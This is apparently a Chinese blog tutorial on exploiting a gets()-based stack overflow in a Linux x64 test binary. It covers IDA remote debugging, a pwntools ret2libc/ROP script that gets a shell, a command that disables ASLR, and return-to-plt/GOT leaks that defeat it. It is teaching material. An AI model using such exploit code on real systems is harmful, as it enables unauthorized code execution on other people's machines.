linux漏洞分析入门笔记-栈溢出
ida7.0
ubuntu16.04 lts
0x00:环境配置
使用IDA远程调试Linux程序步骤如下:
1. 在进行远程调试之前需要对Linux平台进行一些准备工作。在IDA的安装目录中的dbgsrv文件夹中,选择linux_server或者linux_serverx64复制到需要调试Linux程序所在的目录下。将复制过来的文件赋予执行权限chmod 777 linux_server*。执行该文件./linux_server或者./linux_server64。
2. 在IDA中选择菜单Debugger-Run-Remote Linux debugger。如图。分别将程序所在位置,程序所在目录,参数(没有可不写),主机IP,主机端口,点击OK。相对路径路径要填写相对
linux_server或者linux_serverx64的相对路径。
图1
图2
图3
3. 此时,下关键函数下好断点后,即可进行动态调试,如下图:
图4
常用快捷键包括:
a. 单步步过:F8
b. 单步步入:F7
c. 执行到光标位置:F4
d. 设置断点:F2
e. 顺序执行:F9
0x01:漏洞简介
1.一个简单的linux x64平台栈溢出漏洞,漏洞定位到vuln函数,如下图:
图5
图6
图7
0x02.漏洞调试
1.从上面汇编代码可以看出,进入该vuln后 sub rsp-0x40 ,堆栈开辟了0x40字节空间,然后调用gets函数读入数据到edi所指向的空间,edi此时实际上是等于rsp的指向栈顶的位置,gets函数读入数据以换行符号为结束标志,在遇到换行符号前,会读取任意数据到栈里,这样当读入超长字符串后,就会覆盖函数的返回地址,在该函数执行retn时就会可以返回到任意我们指定的地方去执行代码。产生缓冲溢出漏洞,下好断点后开始动态调试。
2.尝试构造字符去覆盖函数的返回地址,代码如下:
from pwn import *
import pdb
context.log_level = 'debug'
target = process('./test')
elf=ELF('./test')
pdb.set_trace()
#poc
rop='A'*0x40#
rop+='B'*0x8#
rop+=p64(0x400763)#pop rdi ret
rop+=p64(0x7FFFF7B99D57)#/bin/sh
rop+=p64(0x7FFFF7A52390)#System
target.sendline(rop)
target.interactive()
代码执行后栈此时的情况如下:
图8
图9
后面用8个字符c就可以覆盖返回地址了,函数返回时将会跳转到cccccccc 指向的空间去执行,如图9所示。
0x03:利用Ret2Lib突破NX保护
1.用checksec来检查目标文件进发现它开启了NX保护,如图10所示:
图10
2.NX就是将非代码段的地址空间设置成不可执行属性,一旦系统从这些地址空间进行取指令时,CPU就是报内存违例异常,结束进程。栈空间也被操作系统设置了不可执行属性,因此我们注入的Shellcode就无法执行了。
既然注入Shellcode无法执行,进程和动态库的代码段怎么也要执行吧,具有可执行属性,那我们能否利用进程空间现有的代码段给合成想要的功能代码,答案是肯定的。
在系统函数库(Linux称为libc)有个system函数,它就是通过/bin/sh命令去执行一个用户执行命令或者脚本,我们完全可以利用system函数来实现Shellcode的功能。EIP改写成system函数地址后,在执行system函数时,它需要获取参数。而根据Linux X86 32位函数调用约定,参数是压到栈上的。但是栈空间完全由我们控制了,所以控制system的函数不是一件难事情。
这种攻击方法称之为ret2libc,即return-to-libc,返回到系统库函数执行的攻击方法。
但是我们使用的环境是64bit系统,它和32位系统的一个区别就是system函数的参数传递方式。32位系统使用堆栈来传参,在64位系统中使用RDI来传递参数,所以我们不仅需要控制系统栈,还需要控制RDI,这无疑给我们增加了许多难度,但是这并不是做不到的!
要获得shell需要做如下步骤:
a. 获取system函数的地址。
b. 获取“/bin/sh”字符串的地址。
c. 将RDI中的值,改成“/bin/sh”字符串的地址。
3.所以Shellcode不能放在栈下来执行,因此我们就需用用到ROP技术来间接执行功能代码。
0x04:简单ROP构造
1.由于目标程序有数据执行保护,所以我们往栈中的填充的数据并不能执行。所以在内存中代码最好找到类似“pop rdi, ret”这样的语句,由于我们可以完全控制栈中的数据,所以我们就可以通过pop为rdi赋值,再通过ret指令跳转到我们希望的地方。
但是很不幸,目标程序并没有到这样的指令,不过我们可以找到其它代替指令,图11所示:
图11
pop rdi 的机器码是 5f c3,然而 pop r15 的机器码是 41 5f c3,而且一般pop r15之后一般都是紧跟ret指令。
所以我们就可以使用pop r15指令的后半部分,即 5f (pop rdi)。
2.由于系统开户地址空间随机化,我们先临时通过echo 0 > /proc/sys/kernel/randomize_va_space关闭地址随机化功能写死地址进行测试。
3.最后构造后rop代码如下:
from pwn import *
import pdb
context.log_level = 'debug'
target = process('./test')
elf=ELF('./test')
pdb.set_trace()
#poc
rop='A'*0x40#
rop+='B'*0x8#
rop+=p64(0x400763)#pop rdi ret
rop+=p64(0x7FFFF7B99D57)#/bin/sh address
rop+=p64(0x7FFFF7A52390)#System address
target.sendline(rop)
target.interactive()
4.运行poc后通过IDA调试看看栈的情况如图12所示:
图12
5.执行完后就可以正确获得shell,如图13所示:
图13
0x05:通过plt和got绕NX与ascii armoring
1. 上面这个poc成功执行得利于关闭ASLR,system函数和“/bin/sh”的地址才能固定下来。我们构造poc才方便很多。虽然目标程序编译时默认没有开启ALSR,但程序使用的系统动态链接库会受到ALSR的约束,每次重新启动程序后,libc.so的地址会随机生成。所以我们的poc就会失效,下面我们就来构造一个不受libc.so基地址随机变化影响的poc。
2.通过return-to-plt来实现绕过libc.so基地址随机化。
什么是return-to-plt?
在这种技术中,而不是返回到libc函数(其地址是随机的)攻击者返回到一个函数的PLT(其地址不是随机的、其地址在执行之前已知)。由于'function@PLT'不是随机的,所以攻击者不再需要预测libc的基地址,而是可以简单地返回到“function@PLT”来调用“function”。
什么是PLT,如何通过调用“function@PLT”来调用“函数”?
要了解过程链接表(PLT),先让我简要介绍一下共享库!
与静态库不同,共享库代码段在多个进程之间共享,而其数据段对于每个进程是唯一的。这有助于减少内存和磁盘空间。由于代码段在多个进程之间共享,所以应该只有read和execute权限,因此动态链接器不能重新定位代码段中存在的数据符号或函数地址(因为它没有写权限)。那么动态链接如何在运行时重新定位共享库符号而不修改其代码段?它使用PIC完成!
什么是PIC?
位置无关代码(PIC)是为了解决这个问题而开发的 - 它确保共享库代码段在多个进程之间共享,尽管在加载时执行重定位。PIC通过一级间接寻址实现这一点-共享库代码段不包含绝对虚拟地址来代替全局符号和函数引用,而是指向数据段中的特定表。该表是全局符号和函数绝对虚拟地址的占位符。动态链接器作为重定位的一部分来填充此表。因此,只有重定位数据段被修改,代码段保持不变!
动态链接器以两种不同的方式重新定位PIC中发现的全局符号和函数,如下所述:
全局偏移表(GOT):
全局偏移表包含每个全局变量的4字节条目,其中4字节条目包含全局变量的地址。当代码段中的指令引用全局变量时,而不是全局变量的绝对虚拟地址,指令指向GOT中条目。当加载共享库时,GOT条目由动态链接器重新定位。因此,PIC使用该表来重新定位具有单个间接级别的全局符号。
过程链接表(PLT): 过程链接表包含每个全局函数的存根代码。代码段中的调用指令不直接调用函数('function'),而是调用存根代码(function @ PLT)。这个存根代码在动态链接器的帮助下解析了函数地址并将其复制到GOT(GOT [n])。这次解析仅在函数('function')的第一次调用期间发生,稍后当代码段中的调用指令调用存根代码(function @PLT)时,而不是调用动态链接器来解析函数地址('function')存根代码直接从GOT(GOT [n])获取功能地址并跳转到它。因此,PIC使用这个表来重新定位具有两级间接的功能地址。
图14
用ida反编译目标程序后发现其中有printf,gets ,setvbuf,在内存这几个函数的got表地址是固定的。从图14可以看出在执行printf函数前,edi指向的是格式化串,rsi指向的是被打印串的地址。如果控制了rsi那么我们就可以打印任何地址的内容。然后通过当前函数地址(gets) - system = 偏移地址 (两个函数的相对偏移是固定的),得到一个固定的相对偏移地址,得到偏移地址后通过当前地址加上偏移得到system函数的内存地址,然后传入’/bin/sh’,执行system就达到目的。
3.通过构造ROP获得system函数地址,在目标程序中找到图15代码。
图15
图16
看看printf_got_addr=0x600af0 这个数据里面刚好有个0x0a,这个就是换行符号对应的内存值,因此在读取0xf0后gets就结束读取了,所以后面的就无法正常覆盖了,我们得换一种方法来实现调用printf,就是将printf_got_addr=0x600af0地址拆开,然后在通过 call qword ptr [r12+rbx*8] 来组合,只要没有0x0a就行,最后执行后如图16所示。执行完后再让它返回到发生漏洞的函数中,再将构造rop来执行system,通过pop edi ret来实现,步骤和第4步相同。
执行后成功获得shell,如图17、18所示:
图17
图18
0x06:总结
1. Linux系统中对应用程序漏洞防护有三个:
SSP(Stack-Smashing Protectot):堆栈防溢出保护,它会在每个函数的栈帧底部添加一个随机字节,每次函数将要返回时,都会这个随机字节进行验证,如果这个随机字节被篡改,则说明该栈帧发生数据溢出,报出异常,程序终止。在编译时可以通过-fno-stack-protector选项取消这项保护。
NX(Never eXecute):数据执行保护,在64位系统的CPU中增加一位NX位,用来标示数据如果可写就不可执行。在overflow这个程序中我们具有对栈数据写的权限,就没有对栈数据可执行的权限。
ASLR(Address Space Layout Randomization):地址空间随机化,在每次程序加载运行的时候,堆栈数据的定位都会进行随机化处理。由于每次程序运行时堆栈地址都会发生变化,所以无疑给溢出利用增加了很大的难度。可以通过这个命令
echo 0 > /proc/sys/kernel/randomize_va_space ,取消ASLR保护,然后方便验证poc。最后通过plt方式过掉ASLR。
linux漏洞分析入门笔记-栈溢出的更多相关文章
- Linux漏洞分析入门笔记-Off-By-One(栈)
ubuntu-16.04.5(X86) IDA7.0 0x00.漏洞描述 1.什么是off by one?又称1字节溢出. 源字符串长度等于目标缓冲区长度时,将源字符串复制到目标缓冲区可能会导致off ...
- Linux漏洞分析入门笔记-CVE-2015-0235
Ubuntu 12.04 32位 ida 7.0 0x00:漏洞描述 1.glibc的__nss_hostname_digits_dots存在缓冲区溢出漏洞,导致使用gethostbyname系列函数 ...
- Linux漏洞分析入门笔记-CVE_2018_6323_整型溢出
操作系统 Ubuntu 16.04 /32 位 调试器 IDA pro 7.0 漏洞软件 binutils-2.29.1 0x00: 漏洞描述 1.什么是整数溢出: 在计算机中,整数分 ...
- linux漏洞分析入门笔记-bypass_PIE
ubuntu 16.04 IDA 7.0 docker 0x00:漏洞分析 1.ASLR的是操作系统的功能选项,作用于executable(ELF)装入内存运行时,因而只能随机化stack.heap. ...
- Linux内核分析课程笔记(一)
linux内核分析课程笔记(一) 冯诺依曼体系结构 冯诺依曼体系结构实际上就是存储程序计算机. 从两个层面来讲: 从硬件的角度来看,冯诺依曼体系结构逻辑上可以抽象成CPU和内存,通过总线相连.CPU上 ...
- Linux内核分析 读书笔记 (第十八章)
第十八章 调试 18.1 准备开始 1. 需要的只是: 一个bug 一个藏匿bug的内核版本 相关内核代码的知识和运气 2. 在跟踪bug的时候,掌握的信息越多越好. 18.2 内核中的bug 1. ...
- linux内核分析课程笔记(二)
运行一个精简的操作系统内核 存储程序计算机是几乎所有计算机的基础逻辑框架. 堆栈是计算机中非常基础的东西,在最早计算机没有高级语言时,在高级语言出现之前,我们没有函数的概念.但高级语言出现后有了函数调 ...
- Linux内核分析 读书笔记 (第四章)
第四章 进程调度 调度程序负责决定将哪个进程投入运行,何时运行以及运行多长时间.进程调度程序可看做在可运行态进程之间分配有限的处理器时间资源的内核子系统.只有通过调度程序的合理调度,系统资源才能最大限 ...
- Linux内核分析 读书笔记 (第七章)
第七章 链接 1.链接是将各种代码和数据部分收集起来并组合成为一个单一文件的过程,这个文件可被加载(或被拷贝)到存储器并执行. 2.链接可以执行于编译时,也就是在源代码被翻译成机器代码时:也可以执行于 ...
随机推荐
- rabbitmq生产者代码,以及过程参数含义:
首先pom依赖: <?xml version="1.0" encoding="UTF-8"?> <project xmlns="ht ...
- SSM整合dubbo 进行分页查询
1.先书写Mapper和sql语句 public interface ActEntityMapper { int deleteByPrimaryKey(String actId); int inser ...
- JavaScript的高级知识---词法分析
JavaScript的高级知识---词法分析 词法分析 词法分析方法: js运行前有一个类似编译的过程即词法分析,词法分析主要有三个步骤: 分析参数 再分析变量的声明 分析函数说明 函数在运行的瞬间, ...
- JAVA数据结构--希尔排序
希尔排序通过将比较的全部元素分为几个区域来提升插入排序的性能.这样可以让一个元素可以一次性地朝最终位置前进一大步.然后算法再取越来越小的步长进行排序,算法的最后一步就是普通的插入排序,但是到了这步,需 ...
- Miller_Rabin素数测试【学习笔记】
引语:在数论中,对于素数的研究一直就很多,素数测试的方法也是非常多,如埃式筛法,6N±1法,或者直接暴力判(试除法).但是如果要判断比较大的数是否为素数,那么传统的试除法和筛法都不再适用.所以我们需要 ...
- HDU - 1223 DP 分类
据说这个是经典问题 \(dp[i][j]=dp[i-1][j-1]*j+dp[i-1][j]*j\) \(dp[i][j]\)表示前i个数分为j个集合,[i-1][j-1]为插入小于号[i-1][j] ...
- UESTC - 618
#include<bits/stdc++.h> using namespace std; const int maxn = 1e6+11; const int N = 1e6; typed ...
- 什么是SocLib
一.SocLib简介 SoCLib是用于多处理器片上系统(MP-SoC)虚拟原型开发的开放平台.该项目始于ANR创建的项目, 现在维持在https://www.lip6.fr/.该平台的核心是用于虚拟 ...
- groovy——运行方式、基本语法、引入方式、metaClass
jvm运行groovy类有两种方式: 1.使用groovyc编译所有的*.groovy为java的*.class文件,把这些*.class文件放在java类路径中,通过java类加载器来加载这些类. ...
- rem.js的用法及在浏览器端的适配
首先介绍下自己,我是从后端转前端,对于前端的见识还不深望各位全当一个新手自述....... 随着移动设配的更新换代,市场上涌现了大量的非主流设备分辨率,比如华为手机...... 更新换代快的大前提下自 ...